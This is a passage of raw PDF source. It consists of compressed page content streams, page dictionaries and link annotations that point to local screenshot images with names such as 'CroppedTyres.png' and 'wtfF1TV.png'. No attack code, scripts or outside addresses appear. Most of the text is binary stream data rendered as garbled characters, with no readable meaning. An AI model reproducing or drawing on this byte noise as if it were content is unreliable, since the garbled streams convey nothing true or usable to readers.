+{LfAkfAPK?|ae))/21T@0^$MI1\O*IA,=a40Qk`rZ15.FIa2g>DMʹlt"8U!w&+(Z" CUG[87&.e~EH\.1Njt"0k/9j)oK`Te|^%zt@e6zaJ֮eOhVG"q*D]ZI g٢"&[ +fI`BL^M֋N?)f֙Рʹ:-']ti2GM2Lv#+;2 8vebDĞgWRzjX9De#e[ _.\]N6z#(1hŅڧ(= +Bm^$nY߀ Bܼb]RֲhdtɚR6 v۞ZHRc&_ʧoN8ٗ@at<9Eܲ-Qh*2v[QXnSῐыT[7&;y9"&֘؍{/%A ^=KI$mH߲Mx#7B -N(|v=UWAÛBLv*2:_ Hb_|u&8v6Gh:6F2UV++V(/ztJAرJ[Z PF7nk#< ++~GEvC#q~BJ2Z ֽv"$J1o'@=ۉ"{[8|V!qivbg'.⬓>&1&l^C26`f=[PFj +u[c5z(w(^7b o Ħя r;#i96Q=Pfvc[jk SӽѯE}ql&c}a\[TmW.6בEoqw혇{ QJ5݂XO( ĖvѭzV=\Y:o ++Fxz#=ee#=F҃q@a"{J*%w2 ~-ƖLeHw\[Gϖ!YVt{_!k+ry0Pf9 vێ&ؽZVqbM˷XP-(QUQ(,W֞N[ԯ&,NH,ϏIB3' +endstream +endobj +1354 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1353 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1355 0 obj +<< +/Filter /FlateDecode +/Length 2280 +>> +stream +x\+* ,|,$N@Ìً`7VcuYŽn=UI:{{_fr9M||8|Nt͇_)"Aӹ)RvD>D+ ˻?O9kN׬gPIYt_~:}@Ο͢ǬtwV7'Z$qqֈ/r"o>_ + ˛ӿ>D%ž,iSg~ڥ}ncEd}W7-Mw |=^.Oa#C^^QVFrju<<6|6QcErGi m4#Sѝ7Nٝ5So# {T +HhMYؓB2ESpES(:XKc} @ r!WTؓB2=lFª)eRE82eK!fK!PXRԕBu9x +BO +B\ +!cpqMXݣREJB{RPưh +nh +6ˁ3̐~ؓB2=lFª)(QΆBBGa)܌}) +-ܕB]'S"~RR;o>&{X +7ׄ=,(cؕB`2EShuFS #)ge"'$o +BI!@Ìn>GaM!P=WWMM!P#SPnƾ +RfuD7B8ԥ8ʡ/>4g5oW0rt´Dvx'$B3iE^C(;lu (llc ì; \3raWw9òkL +9y$D讽G-JPumng\òkrb J-@h)9X,NH)뎃&w$ ;UȗkeW̃*4g\ZGl=)8CRb<'bNAکCbϾqIP6Z\,]FULX%tT(lARNAd6egqNo6t:bWv-dTa4+yzG-)kQ'۠ +9C:Ų&GA}NA*=O.[޲ r,*lfUzٜz(Cbʉb>Q]/^cY6*wӡ8 t2 ~?]A3Sˈx=Y@V>Ab.Y~I$<%ۣ{rc:F>~NXbCxkxs2RwМvr4 aA#-rMڱ9rsBGmE]I 6۟^2S'`E,9묠n*05BNWo~DGɍZr +endstream +endobj +1356 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1355 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1357 0 obj +<< +/Filter /FlateDecode +/Length 3885 +>> +stream +x]Ɏ$W8}9䃌-Fd`̍KU?&:h5]d| Y*/ Fv!DEt +׷X\|ʻk4 Ax2tR +֝5Z ˿.}ԝRM-5'ى/3зuA"'A *c~|wǫLT_ H0KBBzu"mjw0~ƎoCZ'=G}_Vz<^?ҜxL}鱭}'>z3ߟE :?C)/R^1ڇ\?}ܵ"RxgNߑQ厒7\^[zb,5i7W m=/Y0<Ɇn/uNO|&oអG|\CR'OW-ʖX dH|6f/`S@מg>G>''uy0>NtN)KSoc)_bֶ#\uq}ۅ] t4w?(|w*,sRz]}ˢvએRdDh%躹nWD\l$-)/bj*KYOrxza׎<}$:# w(+oJ荦J,pR9r:t@I nsc6_$]+!'Zץ}Vc6R梉VG/TLt)lZDpbؔlD(^PjD(:~P-rP9˷M;qRi-DՌO21ҤTg==)"zHW?:@K_jc<ֿl4N|퍩%+-a"YW\1; ~4*](ڈFGF1m MᲷ:* 9v(ȱZT{W% }ͭ+?X#!8Ѹu&8q0lHk Or!Л2|+`M[eħ-GQ5&ihQ\ m_3@)mA4C[$ +m C:-B[hu$>'ZHjlAIeUꈥ@zʌlL\P$"B +gZxR|(KC?=;9ȋa]t<1Is Qv/P;>ò|-9m4s0c^3`}; + fkg#f)1`x;̠Ofk: syA\`$m:` Azip)ST,}Ҭj>5jm%фȯj8C>+t'v)mM3 iJژ{ w.pcn^pk =SSMGU)HsR +3ƺ.-\} +9!5\uG6p+|Go<'W$WQ!;m$1g1;mֶ${/,@nYͰ‘-+ +4Ud*T@T{ǽ(6E9m]eM:"c|#uy KACx*15ԤI{.>[=Z9Pڼ갧U1ŒAfS7 ,}wV.JǩY2^3^u/[ q`4ZwJn'Biaj3W;Jn7op#c7wK%\z<Ë9D^\iL/^ΐǡ=fG>:iKpx=#ٴ{Zi Yԫ{i`I]Pͦ^4Z4kRϠ[7dGz*筎z<>|g[H{̨gMϑVT蒑[u:)E?ӁI䏝%tm[?^(:ڦNdZ(jw9E%t('7}zh,ȷ(}i `ϵc.EYO>0'GJrf$Sl I VyjѢ5D3m8\`,= k@+w.a.a/_v_vV ںK,Ba liH7m-*-Zdm"2B"nQYVN\dKvEiIPҒ $jժ%Azf"Slֲ c_vKs?gPZr٫P-Yu#>=(VӃI_5jf҃|ש};@ɔRB|4ꊽ +UYvQ? 2:ȋ*^Sv|,қjxA[kd '雦|iZ)Lӯ/8M1ۡ)J4ɔ24i4C2颋hqM1z 8bzϔ)MzwS%dr) ʇ_*PJ=.kiUON*ѕeGNeG0z*Rw +dZAZ-@'MHn%QVP{e AjsWϑ/'Q~Uul=us/ȝ*bK74CؼgOF kfa:C o|h䫙X9dnjaWżdA+9;a7Q+mHm6Y%nDjnP W *;f ԪbxP%UJJ @zoAKB??ϟ~dal/g,^_-@o_zVߌF.!J8F$L9nuiWzxztYDh \!q YJ$01%ا% dz?1+Z01hB?0HT >HHF,^_'] + +endstream +endobj +1358 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1357 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1359 0 obj +<< +/Filter /FlateDecode +/Length 3064 +>> +stream +x]Iׯ?s`$@Cuʹ/3 )>j~9xrUk[EZ\9Aା޿]~p tzQ`נ^pu3!TS)fR]r?x 9ΝwW!dFMlpЀQ^a{}>'ik;7~'K]>q{떿7dziL3fc>x<_~%mp`Y!"3֌Ff {-'º23iGܣ¤c-tx 4&.rV^Vx kޖ:mYt59ϾW#o#y= uo`lQL֢,T2|ߣouV,Ufud*uViϙ dY3`l%lY+ohbDehy!|la,) +*F-߲ߋOZ]LZ%2E + st9'f,8v-M\\l }A',~}d?j(%`t*8d_59Ud@2^|4i¯1wv- 8Dö`1d^pfA,IY)mOJ놎t!RNc?# ņe@9wۈthbQlUId=\-ߎGF *]C(`8%0 +qPr +f +?|sjNk]dHۻ;xFځ:w3eܴW1i +Li{XǤJ_/2)bw;gm[ggSIagke=,Xد/[u/C # _Ln/CZsy 2KSǿo?ZY)\qճ-KrwbE&`dQ+8&KY LMkRJ5>ű+\A=K@eKp2Ǹ!UdCZ5C +8/wj.|qG|P;e E]8 zʇĶtZޔ!E3֧(%Jڇ|[ ;pKxE- :6b/gC!bMv pCpbJFczsUaIgBY *J[ Qڎ&`VMarirD>(kjɟ͔0&>M(HDIWZT+j[H/6x%]eFƗ+Ǩ֎"z*%Z;Dz]FvvrPEA/= c%MIPh%.‖' @F +Dzfrfj)C!{@]`XS q!*  %SvRZ.C:PAK_*a +E"Vv֒.}gU1Dz*/S/4^x\Br+VU2h;D>c"=%=}_i 6혂:*Ob6,V!kca!JyMJSBI $٢ !Nk&Diir.r穆ϝ(3SPtE\)Z=ր$U.ӀFynB׷ցI)jҧ(" 3Iwy 9c@ ڴp8* +x"u3KI| z+R'5(Ucw5SQJ'wb pYtֶ U ɏ̑|ocz#HaPD=vK;jMB L|]ع5J%cG΁b5Ҍϱ bonOc]HSYҜUf"_ss%Li<5+Tvu ~k~m^~QTlڽ CyrFi~ M[&D9:ˣ-#~Y]"Ao%{ԱG,F7xܣhsG6;#Y3yQWRkHd~Ng~&"Qeob7rR]a~_װmozL$(צɝ/ϓuĆ jP,[mo =&rTtpg/LXʹK\ r> +95 pޏ,ij,DvMlRQB˴ʗcC;cDFѴҰ0f%}+$sq@Kwq[xO tKJ' B% ^R-V,[+bFJljgw6kO9,ӶcpLdD!!v,KOU񭬑AX6 y><}KӲp5QsɯE fz +endstream +endobj +1360 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1359 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1361 0 obj +<< +/Filter /FlateDecode +/Length 3177 +>> +stream +x\[~ׯs2 h&m4)>Ht!\RZFz#r9ù|s!e8J?!zgO)G4A{U&!4^ZX>~:Q /]io=_s"T)kA5DH23P/7?}lgT"|υ S^h\`pr%i ws, ]ztQB/RDP!s|?黟!1ﮇR#ŋ6+)SKi +t)ߗ5 l]ޛ͜{`|]-KH#svi8&M,^RVFK:س AtmƮ I1J(&uM)Z!'#v3yb2D F:gKwԋqgIq N/yLqeՌ6&g G ͧ3o,&2;3|6 S!اr=7<3O3q KI(Tβ͂MNYQۢX{]ӌyѦZY"@spfZ#w%-,n &w^qO?S\_\3W^DP.WU ڌV%Ksl׌ƝZh`-yevŒ ^e.S=<9)Y"}ֹ&OMl6Uff\R6hk=NA&(tZxXFU] Nٟkdm+6q] +^r&y-&vuФŞdc$RNQ2w'o+,ClvaHg\Q,`q)8DZWr{;”%;2,d i&V(0&\JFz+Z;8X%8x%ZwZEfn'ĿaV`SRD%i7* 2CW࡚fh<@Xdmiƚ E<ۃtoP/6[7ʸU  +YRʨN6X]ZErp`ͿV,8Щ6|dX.[뜺f14~>A}NVT +=ӯ{&#V\1TY VSK0,_FԂttBKw.FUֳVm~vBm2SIL4 `\^6RNEk%l0)yleAAcN/.>1(Jr7"å/M2V.sAzvnY=]DaK3g>go{L_|䛶W'֔_|S|um6O/@>u3z:*_]g'V2\|{[A +]{xfK\PJwO '1EcSRDqft?c R(6Œu:!.xd2`TH(o&ј;rj49ۜF>QũN1 ]|T^@;ɽ17K + }osD ^!IqGbz +:rYT=_dӥW˜u̸j0z|ARv2w_Sބ/;0N y-mȠ`0R^تhbϲ:7Z`MܯT]\#py{?d&lņZkuΟ2רYcN=%hM;ƻEp~An4F}ިxrcXnXkvd|Tt1^ gP4esgLJ}y=|x_+ +u `=D[l*|Tܕdx 9qO̴YtSL߬ɞA] 2ʲ23Zvb_ըVZp&VyyB"֦Lg1C|h<^wO轗6!~WSVJn%F;.f5F{aOm=S?,Ru)LGր0gLz'oo');+|.C[4_*|j Q>׬ R|Yd$fk@L 1+`:4Vf~ac @˛%(dC'# z=/Yq])A +endstream +endobj +1362 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1361 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1363 0 obj +<< +/Filter /FlateDecode +/Length 3022 +>> +stream +xKU,XadIrH0yAnx/3v%R^E{FݴzQlu;Ey=_~>I _w'ht`^pFRRj4F5F/sc0DgPO.JO=HP/*:tHA]A?|:lazFޞ?};}?xVQ|&`葌zvx_7΋tLl)q5O[}C~yIھϮqJ}UOy)2Tt1GIl5^)u(zT'xN6Ed|=>gEoң6(l L]?3_R{(Ţ__%BH_gѝ˽Qʥ?:grKAic؇ Z!0KL^.6N42.!~Bo Bh4A ɡЦ/^cדsBk3k. +(ltzj+qϺSJ㝕lFw I{h|河ど7ƘQ'\ڀR'4gnz wGiK~0mg6@15l{6@q]w +Vķ:d܂%ީ`In߭X)KNEU$S,YdQIiB+\`IއXy~M,餏uQ>zה%7cILfɥXa3d1%}Dd܂%ީ`In߭X)KNEU$S,YdQ%&4bIg`S?uK2>ĒktN ʾ~%1:z#ז%ycILÒ /ձ$Ov,ͽ, tK2n5Z + vL?`ehz7gL[>c{bVϘ>vbَX}3kϖorJl}gȵ#!>޲^=S ӓu_jj>0.w9#/^o(@^dv-#"haN6)یZ#s5nܫ(q#3 oq(sŇjVe<2Q@N8;=ЁO^]!_Ш*RᏑ..V=Edi5᣿s +EIgf5yo捹V^N-)5??pe~tEUM|<=Z-WTL/J?w o,ޘ׸vрuSbD_n{lCu!/ahAѹ>}c|-* xaXJ:tl<&{^W~8_ߜ[7p0LDei 벅ęNE% _=QˇD:K :cr0~5_5lȏ  +endstream +endobj +1364 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1363 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1365 0 obj +<< +/Filter /FlateDecode +/Length 2379 +>> +stream +xZˮ7+^,l ,ZWAdC6ْBb:Ul 9W5juta,K#/"j,^9b[9gBRZI/~j. jq_?\m|eBRːư5L}rWKę[pN˻_Xx\Oĭ/gL/ 2r=~M/uc=Z=:_Qy4'UvNFzf5W-f|7}QݎY_Em叿ovNL멺4WiVo!"(G@ PQ$ WQ߸/f*u1P4MW *"j}˿U<׋HyVу%:3Yqs,;~~>^HfA药uYúuXXlNJEnq^oey +"9Bwvb4:_HwSW7M)vPf̨/و2\t2U Eq>U0*ZUB#S +Zy]j%M9a+:1uMKy`IGVvde,` +``iDG<Ă+P3:a$#oP-e1͙i Ĵi%[7O±j.[4H +ì +BU>e-j>*Cs.i %%Gj;MhЂNS`-Ys0mYHni6]1u%q2& y;\qą*|DGO頱l)1d8E\d=bFGN=< eMTHUmBX +5 8MCvR%놿-i3$0hnqUר.۵ 0}E}F4{񘍍t45螊+ecCz9ijRe@d גBxn Z\xW065qW$lA^nG.W({}NWu쌊Ԫ|Vpd`w>pe+gՊV\+)rr2^k<ɱYˉY*W#1 +&|ޭSsʭ$Wl̿&A Fcy?ro)sa`ף:\½̑Y݄? ϱ .,>7мCsr"6hh>%FnZ_YC +U!mZdk]hXʷ|Ӕ!j멆nO7Zk=$*}35ҬoGrk .m*؛(P'sNKOigZE1IA|eN+S|\|ͺhHI _z:S;/6>OaSWXa>]iS9*̬=ONù,kKljmӶ}1 Q8qEzdr\{Ms6,M hdup̣N!r!e'WV{_!V|9$}G?cԇ]vY( RQ"#c$L;EWX}ήFD^qߧ}΁Hќ$EfM\HG$u9F)=8΃wq䮫~ ,:ݜ%7{PXO MckD#:1-0 _ᐤPGEdMbc$>/HA)ܰ):7HDYcVtrP3j%Zz]'լ S)х*os_3 GI?m/5鬫trxzDTl 8y蘱~u˧\&P 9p=#ȗiaG9ܵS0ߴ~9>>cv ¾mW OJoB2ƤWleB2jeph-!ə{Q*sfܛ>0< +2>hn*dSOЊAD-{R$~KJ..>L/Vٲ1@"o8HX54^Fzo"Б`N1VNőV}R +endstream +endobj +1366 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1365 0 R +/Resources 4 0 R +/Annots [ 1367 0 R 1368 0 R 1369 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1367 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 228.628422 39.386457 213.614022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CroppedTyres.png) +>> +>> +endobj +1368 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 228.628422 129.386457 140.128422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CroppedTyres.png) +>> +>> +endobj +1369 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 140.128422 297.637795 125.114022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CroppedTyres.png) +>> +>> +endobj +1370 0 obj +<< +/Filter /FlateDecode +/Length 2826 +>> +stream +x[K賁|? b`;0rubPX"&dӭYJW~ %蝹>~z"+/߯bB!^ BtP?/> ჿJbetWO/orןuyگO`TWŴ/.?wE;ܭǿ" Ϲ3c/U Ӌ\D8ɒ>t |pK3awqƣa1.;qr'R>޺,K1\7r%H+x^~xB=0!BشM'mng؎]S/k}{h=1/qcu+n^zbҷ&jZM-礒nv;3p]rǦ42>Q9ÿ};o!ym׊̦SP d$(LTȡ荒ByxFG1Fݢ ^@<ra/jR [ x Ơqu2Un1 9 [:EX; rj}v h{%;#$eeŊ4G>exVoyp +7)PЌ*Cd~Ca[!K ˋ"jcֳbX(,{𑫳\8lqt'5v%SP㄀'=qou@ /)`Mc+Z@-0bvOGCC]NgF"˸k&2$w#! + Iy۪гNL!>+l{mh!5b٫P׉hmݼ,E`#5&NZ.9aw''"ʼnp g }re墕bu&a=a~ 1{{AãB-p6~U'<G cpv_nγq.Eٝf἗>zRFYYztURttՅںƊËh|u$%wٙ{J.{Љ2cR~Y$+LJfcRfLǤ$t =]1ٶQ'=0jtkbfFl6WS4v!a(J[?k[jF-Պx$Q\tuxq »"NQ~$t٭Wwr__ʌA$iR=TtHWfc 0Ms]a}kt%0نTsח-D4rS-_> +endstream +endobj +1371 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1370 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1372 0 obj +<< +/Filter /FlateDecode +/Length 2185 +>> +stream +xZn7WA 098BYd,c$=ͥWkS,<ׂyę3<M~!~c.4 '<KTw׏O|s;!dFM!Y0|tm[FCY\"$k(3/zy|z/Edbz)ޜ9:~xH;gy\ʼxcnڔ8ވe[? ƕ]F9\'Zޔ5ҺzMbQ_y]KnZߟ~zJ4I c\#_lEʦQ fYqO3oX/3OnuZ5]~7cT^dʜԁI2ܖȣd(**Qfu@0=7d ylQ;@Ydlh3$ ucT"ȂCW F~oSS`Or0`D&YP@Z7 +Jɡ yO:il2*SLlSf^`mN ¡UQnFՔP#H8 ; 9cgEF!#`UOG{TEOQ )"H#ɶy35o +bf+PrȬuc:4 Ub#´QMR5;D {xnQӪs!>*ewl xEyi8P@~R|Kg0ܗ!A=ϱ'Zrއ2zU i-pm |]p@7T :2,Wf$G_8 +@bCg0Y@4Ё"k댂y5a^ymIT)ZᠩԃQ*枳0sA wXt +*fM`U=Gum\y&*/tRy +GC +ޙ1dA3:g+f%RD`T:hzň]~`6;@a21\H⁳h,U{Jo8V"]+k'mX2@ &udT 3 +q!,?4+sΧZY6Q]m$]׋dwin<+bmi2t\@ՂL\)F32p- +y/qTZx~%8)4_y;h {cMKS wbroTj*n"9! Isa$iF…=(XR!E"' MSYQ\i?0  Gt Ic("z5GhI941jJny!iQ'"TϙZ)1!(w"}i9%$`܋ӫ 4\B7!-SRBaRssBd6@- =/V;wrZiF s3K ['7r RAʣ ,oyw`p `;2*<Q*W42c魍}AIB)/xI騹qkg3{X~t1MW;^MyH)aAS|wJPg> +endobj +1374 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 39.386457 731.610822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishOxyAction.png) +>> +>> +endobj +1375 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 746.625222 187.886457 696.375222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishOxyAction.png) +>> +>> +endobj +1376 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 696.375222 297.637795 681.360822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VanishOxyAction.png) +>> +>> +endobj +1377 0 obj +<< +/Filter /FlateDecode +/Length 3261 +>> +stream +x\K$ z? $u.lAf_f@XH`g8}"YU +VSzv"EpeK'b +TJImhpt|HF)C WN%䡮^~xUB^ N4jc>R8V" 3GdQh/ǫΧ'*.?ҤՁϯ|Gwsۭovg[rš?fY0tf +;3H% +]H!b+0wf1H4u6eDT|`Kkwv%R79i9ɘS8no 6AZ%3Fx ^c_b1W ^o﫿[P,+ci0fhgrYu`yPi_#u֊X*pN4&<*87>cqotdsGdFc)?=19k1pw X ~],H +1AD nӭ-V[G%:8I +ehoԾ.^9 Ce*lgp+4ؔ}od6 +PkF$3vr->d!: ^hmj ǝ1ݰ;1ɰDηu˿ff:Ύ1s,f_dLLe$f>@}ə͐Ii:h_ 6$ OOA{nOĥ DNMGAr#tLP?$NU^Ii_{7 N7L''Bpj|18եw#. _{7%/TZa*x%O?*+Bhɫ [YZO&xZ{:‹27bYeьt]L,6_:wN25},B +Cfd6¬G5?;:׆GhZ60i5qKmo^E +Çs[(} rT,45@ߧ!}wV5F*| +yZDHyL$3t̷KWcS/|ۅ㪸yRf-PN:׌سd0PŇxuxuh?nDڍ{» s9:pgW9*TA^ \Eb, ?s {5˂J3e >%w+ 9?82J8*/A0#Tl{JbД./C +>༧t{ IdV>-Ӥ2:Ẕ +iqZ`{]E8TEZd K'q|@H~faQe8 ] J {OyȬ }ZMe J| 89̃-)f(^-~΃S%8 Y [{Pb }Z7u{[Ȭ }Z$Je [ ٔJan.4zn[coOxHrA 1vMnGA4($P~ϱ-It{wܵ=Lc9A#?oczHg ltf`TX@%}dpwg v<]$R"|ġ6$/٭6cc1d V'XcՈ6hU_a$lnEeQŇx V2gqqFݨW/ѾFv@)`#3|*fi>^ѧz{3[mVx'CH*/Ai0ATVsP-e8 ]|P!^z6Ȭ }ZMet/-<ĭtն}.?B{߉Y3AAnp;Kv%5*/AMUbt'K }Z7TՒ%;MdV>-Ӥ2P%6K] * 3=ں-fRf}`R۫Eݯ[yPb}R&7u{[LOt&pnyAuKO46u{[Rm3[ {]Eu:[LOd&pnYAu2i.-=nI"2i&&pnYAu Kiں-fRI3AAnpuT*/AMHݲރe"85] [{PݒDfe"8M*MHݲc6h-R/Ĭ {]Eu:[BOd&pnY1uK2i.-=ni"2i&&pnYAu댰2u +Wu_Ty NMoT./CM@ރ$2+CiRmTшK!3ۨ {]Eu:[LOd&pnYAu2i.-=nI"2i&&pnY1ud㺥-nl{]Eu:[BOd&pnY1uK2i.-=ni"2iU޾uzn:57FVݸ$У ۍG7q\GtNtG|¯Ӡ?Y"wIG7בl{v% ࣛe`[3۠P_Cd_X'0JW=h;U_ ))X￯b^3|Cm$ pqL搼0H匼L,}0{HNk0ᐼayS򶱌?(oIyI֯ϖ^. y}r-[EMlu.?({I٣4Bn^\g^egHgb:7K`t 6pR%xI>)#a K Z̙y*gJ,gCN7o?90!EyUr"'\LĦa##Q0n!W\7)Nﱘ)Mk`˲4i9%jAkYO3B2!Zb +endstream +endobj +1378 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1377 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1379 0 obj +<< +/Filter /FlateDecode +/Length 2032 +>> +stream +xZK7ϯs Xv1lCa7K!Z%;-_W%#?ׂy3gx#CsHgA3gBpMJqwCbsQ)zFc,?~pVQEM7FcM`RYthU?D5ۜfY풎)5֣Փ3h|x4ujQo?>9?}z{'΅;駓[MOL ק!0mhRb3= 54qoT'/;\fO._msj=G80RЁ99ObR0(`dK+)uʮs{)ϗxk±|6e+׶I,ڜvz/ >`U'8%OֱY$u%R{ȫujKEe~s&|SW(,SDa eK;+ٙA2M$ezm);]OQR`:B;K_䔜IIѥ<(X49NBp ZKq}z +2mjbu}2GhJ 4Dy+G%v R@jD5dGdT]Z.*)^~0I`QZ +C5v 9.I wBk]5|tw]Q:Qn5 y,P{5gI١kdJ@Ȓi] ~+j>s9jM5(EACU`0&AE?޲Hkܔ`7"ӂ:LQ~n|WqXV'͟p6'?:h Q:[f3O;Qԏb)W~X5K0b3l呃4vlڍw+uGՖ\2f%ivk%^ @SFcjFd(E)öff~cTP2hwi׸C&hITx ">alQA8ZFM1czFhu$A F;'وUYSAO+=;˰zvhQQ3 ,&Y=OgB(;@&'ƖPto8f"tU\,nx'#p7vԵkKSB9')4 2P?h"kP(|Nu0vb7>Fz5dq-^5 OisM[[xőXvq :N%w}݀\*hg%5f]a6肂mP/hݍoWN.'9PI.2I0҃VWK*@s hhOޙ'BiP$KOA$+; k=ńlj$+* +xly tFaxWfu h ҎC-уmĽ؅C `e\ &ņ?}]&ɑ6f3\ 8]1cX{ A{&Q/H ՞F<48E/;8= o,+^zeUS6Q~? +e/aK)<}Q.{y*3ѳrβJ)Qx(,Dmg̦W HS,m@Y=0O߳J +SЃbrJ%!CdQGsOfL!V +endstream +endobj +1380 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1379 0 R +/Resources 4 0 R +/Annots [ 1381 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1381 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 359.371722 39.386457 344.357322 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/wtfF1TV.png) +>> +>> +endobj +1382 0 obj +<< +/Filter /FlateDecode +/Length 572 +>> +stream +xTn1 SH$KE !3nPKδ傘$9vЁPrBsNn1O@[T)BAؕSΘB=Ai4^J Ybp&@gt5w{:k< ZI# +V^ҬU7}VJ35>NTdHݛ_OC ^i(U LKr94䜒;j?|p<}I<|uǛ @.sgAb*H\L>BMpq:Z ~ss\O6i74Ty: +( 7~ֶo>*ۺڪl^6"s+Uec`Kgp9S'us_rA=@Fd?۲@V#I;¶*3"诡3|jKuf~?,v w׻$g{lP֎@.9lם0^֍ +#(hSjÉrֱHϪA4 +endstream +endobj +1383 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1382 0 R +/Resources 4 0 R +/Annots [ 1384 0 R 1385 0 R 1386 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1384 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 112.136457 225.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/wtfF1TV.png) +>> +>> +endobj +1385 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 225.023622 297.637795 210.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/wtfF1TV.png) +>> +>> +endobj +1386 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 142.444422 39.386457 127.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/wtfF1TV1.png) +>> +>> +endobj +1387 0 obj +<< +/Filter /FlateDecode +/Length 2301 +>> +stream +xZK$5 3!j {4h!5'̨kRٮX8~.ׂy3g8?;|<)\0%h>,Nx& +bF+)wA1ǹnBJfDbzb/sUu 8&?N&JߛaW*dg &Ys*ݳ3Ƥc%/Nd2Y/ [iV^ |VHha2YۼL7uۮ۬ ?[U+N:º^J"6SJ˼*E +3 8o?|(:x~~-!aAk\%HAj/Pge` \|?tTaj[ jy%** +)o lyK]\Ǖ4ZL+'>8sN+X3M,"/H/?kI27ηS%()@B%DA#va40yQrm8OgiFūl3|`\otMk> Os2SeEY#O~;8VH.ϿuX=~D/de:sCEՐW#Ff0aawEn7ILtE0 cQk|GrtCJ%Sd''%o @Vc6/0EV+o6G}C;ھXa$"Z<(FCguыuc0f R²@BІOPA oZTT-oIw>ExZ_Ez^WBqla7Q _Cγ7̿0Q^i2m5}U٩Å&њKQJMp_C,ѳU6kkqm*:y<ԴbJrmnp=q:l,x7#UQti7Fϼ,?*1 8蜁:nvb_*CR((Qw0^ q s$L$-OEX'QE(T*` H`B[ޱ8*`=DZ&;aq鏯*eY]. j(r&0DKD'!a pU>P?%<Rf/Wf8&~B<ɛ(, m0̪tQ@@!= +f//EŒ.ٹ75E"T6 +endstream +endobj +1388 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1387 0 R +/Resources 4 0 R +/Annots [ 1389 0 R 1390 0 R 1391 0 R 1392 0 R 1393 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1389 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 694.188513 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/wtfF1TV1.png) +>> +>> +endobj +1390 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 694.188513 297.637795 679.174113 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI 